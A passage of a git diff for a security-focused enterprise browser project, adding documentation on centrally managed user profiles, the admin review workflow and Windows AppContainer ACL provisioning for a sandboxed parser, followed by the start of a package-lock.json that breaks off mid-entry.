workflow are not complete. + +Unavailable scanners, unsupported content or expired policy must not be interpreted +as an allow verdict. Test recovery separately: a blocked parser request must not +force permanent loss of the scanner. Network/proxy/VPN detection has its documented +latency and cannot prove operating-system routing on its own. + +Camera capture, manual retyping, other applications, administrator tampering, +unvalidated classifier accuracy and covert/encoded exfiltration remain residual +risks. Extend endpoint/network controls and independent bypass testing before +production approval. Each acceptance row needs evidence matching its full scope; +a green synthetic test for one path does not close all related paths. diff --git a/docs/user-profile-policies.md b/docs/user-profile-policies.md new file mode 100644 index 0000000..2ae4c63 --- /dev/null +++ b/docs/user-profile-policies.md @@ -0,0 +1,13 @@ +# Centrally managed user profiles + +Administrators can create arbitrary named profiles; employee, developer and executive are examples, not fixed roles. Profiles can target explicit device IDs or verified OIDC subject IDs. A subject applies to all devices enrolled through verified SSO for that subject. Provisioning-code labels and user-supplied enrollment fields never become verified identities. Existing provisioning-code devices can be assigned explicitly by an administrator. + +The policy publisher reviews profile CRUD, category edits and delegation changes through the same independent-review flow as other policy changes. Successful publication advances the shared signed generation. Each device receives only effective policy and assigned profile IDs, not the profile's subject lists. Profile/category snapshots accompany every policy generation; history restoration restores them at a new generation. Historical snapshots missing profile configuration cannot silently restore current profile assignments. + +Host denials and administrator-maintained domain categories combine with union. Nonempty profile allowlists intersect with the company allowlist and other matching profiles. A disjoint intersection denies every host; it never becomes unrestricted. Category matching uses the same exact/wildcard host enforcement as normal browser navigation; categories are curated host lists, not a commercial classification feed. Existing device-group restrictions apply after user profiles. + +Features currently support DevTools inherit/allow/deny; downloads, AI and agents inherit/deny; and mandatory local document scanning. DevTools allow requires the signed company `userAccess.delegatableFeatures.devTools` ceiling. Conflicting profile denies win regardless of ordering. Administrators can leave the ceiling off to prohibit delegation globally. These profiles do not disable mandatory DLP, signatures, sandboxing or parser isolation. + +API: `GET /api/admin/user-profiles`, `PUT/DELETE /api/admin/user-profiles/:id`, `POST /api/admin/user-profiles/preview`, and `PUT /api/admin/user-profile-configuration`. Mutations use `expectedVersion`; mandatory review returns 202 with the existing review ID/hash. Preview and read require policy.read; writes require policy.write, or policy.prepare when independent approval is mandatory. The configuration endpoint replaces categories and sets the DevTools delegation ceiling. It does not replace profile assignments. + +Verified automated evidence: `tests/user-profiles.test.mjs` covers same verified subject on two devices, different subjects, false user labels, explicit delegation, deny precedence, category blocking, allowlist intersection, independent review, stale publication, auditor denial and historical restore. The admin Electron smoke independently exercises custom profile creation and review. SCIM, automatic identity-group synchronization, profile-specific proxy overrides and additional feature flags remain future work. diff --git a/docs/user-profiles-admin.md b/docs/user-profiles-admin.md new file mode 100644 index 0000000..cb37f72 --- /dev/null +++ b/docs/user-profiles-admin.md @@ -0,0 +1,11 @@ +# User-profile management workflow + +The management console separates user classes from restrictive device groups. Profiles have administrator-chosen identifiers and names; the examples do not limit available classes. Employee, developer and high-protection templates populate a local draft; they never silently publish or grant access. Administrators explicitly assign verified enterprise subjects or managed device identifiers. + +The profile editor supports website allowlists, denylists and centrally maintained domain categories. Categories are administrator supplied host lists, not automatically inferred reputation. The effective preview compares the resulting device policy against the mandatory baseline. Denials accumulate across applicable profiles, and allowlists cannot override a denial. + +Developer tools grants require separate central delegation. Ordinary employee and high-protection templates deny developer tools. High protection additionally denies downloads and local agents and requires document analysis. The administrator can customize the draft before submitting it. Mandatory DLP and centrally locked or hidden settings remain authoritative. + +Profile publication and category/delegation publication use the existing policy publisher and independent approval workflow. The review screen displays exact subjects, device assignments, category definitions and feature flags through safe text rendering. On installations requiring independent approval, operators can prepare changes but another administrator must approve. Policy generation conflicts must be refreshed rather than silently overwritten. + +The assignment table distinguishes a verified subject from an unverified asset-owner label. Explicit device assignment is available when the browser has no authenticated enterprise subject; entering an employee name is not identity verification. diff --git a/docs/windows-appcontainer-installation.md b/docs/windows-appcontainer-installation.md new file mode 100644 index 0000000..31f9a99 --- /dev/null +++ b/docs/windows-appcontainer-installation.md @@ -0,0 +1,26 @@ +# Windows parser runtime ACL installation + +The inspector broker verifies every approved source, Python-runtime and local-model object with Windows `GetNamedSecurityInfoW`. Normal startup does not run `icacls`, change permissions, or require `WRITE_DAC`. It fails closed if the exact deployment AppContainer SID lacks read/execute permission, receives write permission, encounters conflicting deny ACEs, or finds a reparse point. Permission verification is conservative; administrators must resolve conflicting ACLs explicitly. + +After copying **all** installation files, the installer or deployment owner runs the installation's private Python: + +```powershell +# Development installation, from the workspace root: +.runtime/windows/python/python.exe apps/inspector/provision_runtime_acl.py --provision +# Packaged installation, from the resources directory: +python/python.exe inspector/provision_runtime_acl.py --provision +``` + +Omit `--provision` to verify without changing permissions. The command does not accept arbitrary grant paths. It derives the three approved roots from its own installed location and rejects an unrelated Python executable. It grants only read/execute to the deployment-specific package SID, never Everyone or ALL APPLICATION PACKAGES. It does not grant network capabilities or loopback exemptions. + +For a Program Files installation, provisioning requires an elevated installer or trusted service possessing permission to modify those installation DACLs. A standard user subsequently launches the broker without administrative rights; the broker can create its user AppContainer profile and read existing ACLs. An ordinary user cannot provision protected Program Files by running this command. The native tests currently prove read-only startup under the current Windows account and fail-closed missing permissions; they do **not** claim a separate standard-user Program Files deployment has been exercised on this machine. + +Provision again after replacing or adding runtime/source/model files or changing installation paths, because the SID is bound to the complete canonical root set. Run verification after provisioning and before service start. Updates must stop the broker during replacement. Production installation roots must be administrator-owned and unavailable for ordinary-user modification: read-only AppContainer grants do not prevent a deployment owner from modifying source or racing ACL provisioning. The command rejects existing reparse points but cannot protect an administrator-owned installation from a malicious administrator. + +Native verification: + +```powershell +.runtime/windows/python/python.exe -m unittest discover -s apps/inspector -p test_windows_appcontainer.py +``` + +The tests provision synthetic/development roots explicitly, intercept any startup subprocess invocation, launch an actual AppContainer worker under verified ACLs, and reject an unprovisioned directory. Existing token, denied private-file access, denied runtime writes, denied networking, child containment, parser/YARA and deadline tests remain active. diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..1138ce3 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,4966 @@ +{ + "name": "safetynet", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "safetynet", + "version": "0.1.0", + "dependencies": { + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/api-logs": "^0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "^0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "^0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "^0.223.0", + "@opentelemetry/sdk-metrics": "^2.12.0", + "@opentelemetry/sdk-node": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0", + "express": "5.3.0", + "jose": "6.2.12", + "pngjs": "7.0.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "electron": "44.7.0", + "electron-builder": "26.15.3", + "lucide-static": "1.55.0" + } + }, + "node_modules/@electron-internal/extract-zip": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@electron-internal/extract-zip/-/extract-zip-1.0.5.tgz", + "integrity": "sha512-+bqFCP98pLI0Tt0XQo1TmlXtwjWchISndDOxCkEcIuUgXWpBnLyRI+2DU+mesvnMMX6L1XDqYNA0lXNDHd/yiA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@electron/asar": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/@electron/asar/-/asar-3.4.1.tgz", + "integrity": "sha512-i4/rNPRS84t0vSRa2HorerGRXWyF4vThfHesw0dmcWHp+cspK743UanA0suA5Q5y8kzY2y6YKrvbIUn69BCAiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^5.0.0", + "glob": "^7.1.6", + "minimatch": "^3.0.4" + }, + "bin": { + "asar": "bin/asar.js" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/@electron/asar/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@electron/asar/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/@electron/asar/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@electron/fuses": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@electron/fuses/-/fuses-1.8.0.tgz", + "integrity": "sha512-zx0EIq78WlY/lBb1uXlziZmDZI4ubcCXIMJ4uGjXzZW0nS19TjSPeXPAjzzTmKQlJUZm0SbmZhPKP7tuQ1SsEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.1", + "fs-extra": "^9.0.1", + "minimist": "^1.2.5" + }, + "bin": { + "electron-fuses": "dist/bin.js" + } + }, + "node_modules/@electron/fuses/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/get": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@electron/get/-/get-5.1.0.tgz", + "integrity": "sha512-3kSBtG8ObcTVfXanm5vVJ6UnBLEVmVsRk1M+vGqCuMBV+XLCbJYuWQful+yIy0GQDsSlK0kHEriEHn7SPk4EnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "env-paths": "^3.0.0", + "graceful-fs": "^4.2.11", + "progress": "^2.0.3", + "semver": "^7.6.3", + "sumchecker": "^3.0.1" + }, + "engines": { + "node": ">=22.12.0" + }, + "optionalDependencies": { + "undici": "^7.24.4" + } + }, + "node_modules/@electron/notarize": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@electron/notarize/-/notarize-2.5.0.tgz", + "integrity": "sha512-jNT8nwH1f9X5GEITXaQ8IF/KdskvIkOFfB2CvwumsveVidzpSc+mvhhTMdAGSYF3O+Nq49lJ7y+ssODRXu06+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.1", + "promise-retry": "^2.0.1" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@electron/notarize/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/osx-sign": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@electron/osx-sign/-/osx-sign-1.3.3.tgz", + "integrity": "sha512-KZ8mhXvWv2rIEgMbWZ4y33bDHyUKMXnx4M0sTyPNK/vcB81ImdeY9Ggdqy0SWbMDgmbqyQ+phgejh6V3R2QuSg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "compare-version": "^0.1.2", + "debug": "^4.3.4", + "fs-extra": "^10.0.0", + "isbinaryfile": "^4.0.8", + "minimist": "^1.2.6", + "plist": "^3.0.5" + }, + "bin": { + "electron-osx-flat": "bin/electron-osx-flat.js", + "electron-osx-sign": "bin/electron-osx-sign.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@electron/osx-sign/node_modules/isbinaryfile": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.10.tgz", + "integrity": "sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/@electron/rebuild": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@electron/rebuild/-/rebuild-4.2.1.tgz", + "integrity": "sha512-IS4pG3BysRrCLJ8xTAfvg+IQDbiUoAzdJy2SfjcYKnLDy5DpCdjnPdhS5Zf5UMfrkB24xu0KC+TqcOxg+eG+6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@malept/cross-spawn-promise": "^2.0.0", + "debug": "^4.1.1", + "node-abi": "^4.2.0", + "node-api-version": "^0.2.1", + "node-gyp": "^12.2.0", + "read-binary-file-arch": "^1.0.6" + }, + "bin": { + "electron-rebuild": "lib/cli.js" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@electron/universal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-2.0.3.tgz", + "integrity": "sha512-Wn9sPYIVFRFl5HmwMJkARCCf7rqK/EurkfQ/rJZ14mHP3iYTjZSIOSVonEAnhWeAXwtw7zOekGRlc6yTtZ0t+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron/asar": "^3.3.1", + "@malept/cross-spawn-promise": "^2.0.0", + "debug": "^4.3.1", + "dir-compare": "^4.2.0", + "fs-extra": "^11.1.1", + "minimatch": "^9.0.3", + "plist": "^3.1.0" + }, + "engines": { + "node": ">=16.4" + } + }, + "node_modules/@electron/universal/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@electron/universal/node_modules/brace-expansion": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@electron/universal/node_modules/fs-extra": { + "version": "11.4.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.4.1.tgz", + "integrity": "sha512-KYAb4c9BJQI6QqGKthV68OHe0badztdXJWKo0WtBA9IuCFPTKvE5ZdUBglP833aMjhaSPNO4A5j/EkzZtGlKjA==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@electron/universal/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@electron/windows-sign": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@electron/windows-sign/-/windows-sign-1.2.2.tgz", + "integrity": "sha512-dfZeox66AvdPtb2lD8OsIIQh12Tp0GNCRUDfBHIKGpbmopZto2/A8nSpYYLoedPIHpqkeblZ/k8OV0Gy7PYuyQ==", + "dev": true, + "license": "BSD-2-Clause", + "optional": true, + "peer": true, + "dependencies": { + "cross-dirname": "^0.1.0", + "debug": "^4.3.4", + "fs-extra": "^11.1.1", + "minimist": "^1.2.8", + "postject": "^1.0.0-alpha.6" + }, + "bin": { + "electron-windows-sign": "bin/electron-windows-sign.js" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@electron/windows-sign/node_modules/fs-extra": { + "version": "11.4.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.4.1.tgz", + "integrity": "sha512-KYAb4c9BJQI6QqGKthV68OHe0badztdXJWKo0WtBA9IuCFPTKvE5ZdUBglP833aMjhaSPNO4A5j/EkzZtGlKjA==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@grpc/grpc-js": { + "version": "1.14.6", + "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.6.tgz", + "integrity": "sha512-SgC/B3/VZ8lTyOZ4Cwk6f1skWhmkNAaVfiX90qd5u1rRXGKk1//8FTUEN9GvOUq7rfWIqAYkA3CoyumYVpOS6g==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/proto-loader": "^0.8.0", + "@js-sdsl/ordered-map": "^4.4.2" + }, + "engines": { + "node": ">=12.10.0" + } + }, + "node_modules/@grpc/proto-loader": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.1.tgz", + "integrity": "sha512-wtF6h+DY6M3YaDBPAmvuuA6jV8Sif9MjtOI5euKFWRgCDl5PeDpPsHR9u2l6St5ceY8AZgoNDww5+HvEsXFsGg==", + "license": "Apache-2.0", + "dependencies": { + "lodash.camelcase": "^4.3.0", + "long": "^5.0.0", + "protobufjs": "^7.5.5", + "yargs": "^17.7.2" + }, + "bin": { + "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@isaacs/fs-minipass": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", + "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^7.0.4" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@js-sdsl/ordered-map": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz", + "integrity": "sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/js-sdsl" + } + }, + "node_modules/@malept/cross-spawn-promise": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-2.0.0.tgz", + "integrity": "sha512-1DpKU0Z5ThltBwjNySMC14g0CkbyhCaz9FkhxqNsZI6uAPJXFS8cMXlBKo26FJ8ZuW6S9GCMcR9IO5k2X5/9Fg==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/malept" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/subscription/pkg/npm-.malept-cross-spawn-promise?utm_medium=referral&utm_source=npm_fund" + } + ], + "license": "Apache-2.0", + "dependencies": { + "cross-spawn": "^7.0.1" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/@malept/flatpak-bundler": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@malept/flatpak-bundler/-/flatpak-bundler-0.4.0.tgz", + "integrity": "sha512-9QOtNffcOF/c1seMCDnjckb3R9WHcG34tky+FHpNKKCW0wc/scYLwMtO+ptyGUfMW0/b/n4qRiALlaFHc9Oj7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.0", + "lodash": "^4.17.15", + "tmp-promise": "^3.0.2" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@malept/flatpak-bundler/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@noble/hashes": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", + "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@opentelemetry/api": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", + "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", + "license": "Apache-2.0", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/api-logs": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.223.0.tgz", + "integrity": "sha512-Oepm6etVPFCn0VWB1t833iOTgz1eYBDUPxcrOR/XvwzD1+Ag9VzSPSrrKAFNJ/haatj+8CXbG47pZXvdNQKDJw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/configuration": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/configuration/-/configuration-0.223.0.tgz", + "integrity": "sha512-KgyHXS8weyh+mJWVZ2+3hmu7J4mwU661Y8yQ1PvBAEY7G63X8qfGr6uN61MNJrN+YzP+dC5x6PmBEgdh7x6coQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "yaml": "^2.8.3" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@opentelemetry/context-async-hooks": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.12.0.tgz", + "integrity": "sha512-iK/1nD7mmZVkuYjVjkdFBiCvzntJdFny1S3CYbUYyOq7V5enL6XX+gJ7eh965L1LnS11VA8mQ7Ej/ck04SB0MQ==", + "license": "Apache-2.0", + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/core": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.12.0.tgz", + "integrity": "sha512-1HsSAuvT4/my0QrXWsyXFdWjKaPeCHsismKZgEEIb8NK13LP6DrMRlsUbvD/0F9mDWK3xDom9AMv3IscxgOnOQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-O/ztY4A+NRi9bQm9Wlj9aCh2s1lbnkA8tcv+88crBMqas6YK8AnPvKXSms3Mn1nto4ylAIQAAxjtbzCMZjGvwg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.223.0.tgz", + "integrity": "sha512-YQh9+t/JmV9OeRkoLhPb4yvcrWCX6lAOmXFos/JKoD+KITZYZoxf0acnwAk6YDI9O7fX68O2ka38hx1G9exl8w==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.223.0.tgz", + "integrity": "sha512-wt33CkhmLfFDSRXNOABWQzVfks1PQvsRNIHqiY5Y5Hi6SiVF7iJYDTqpaUhbwcmyJYcB0LzBNvsic8GyufMxAA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-QneYDf2PWYAqmikS1/jeG8xCv0Q2EOSBm0RRM7IFU9zEnKLu7qxdlsz9t3YjxiAo7XzqfjTsJZys5qhYZAQ2PQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.223.0.tgz", + "integrity": "sha512-hNC8yai/+xCNyTuiOy6JFepXXA/sb/2jCzQRY7c2cUWz6owaidihlHUpO20B9/dj8JKPNo8rcn7ikTy7Cj+JaQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-metrics": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.223.0.tgz", + "integrity": "sha512-DlwYBlqUVlAQqGXOES1K92b6FyHwB2phwcsccXEQhE9Mz1CAEymQgyRwbPKjCbpySZE1ASy2s9t2kIQ1pU/tmg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.223.0.tgz", + "integrity": 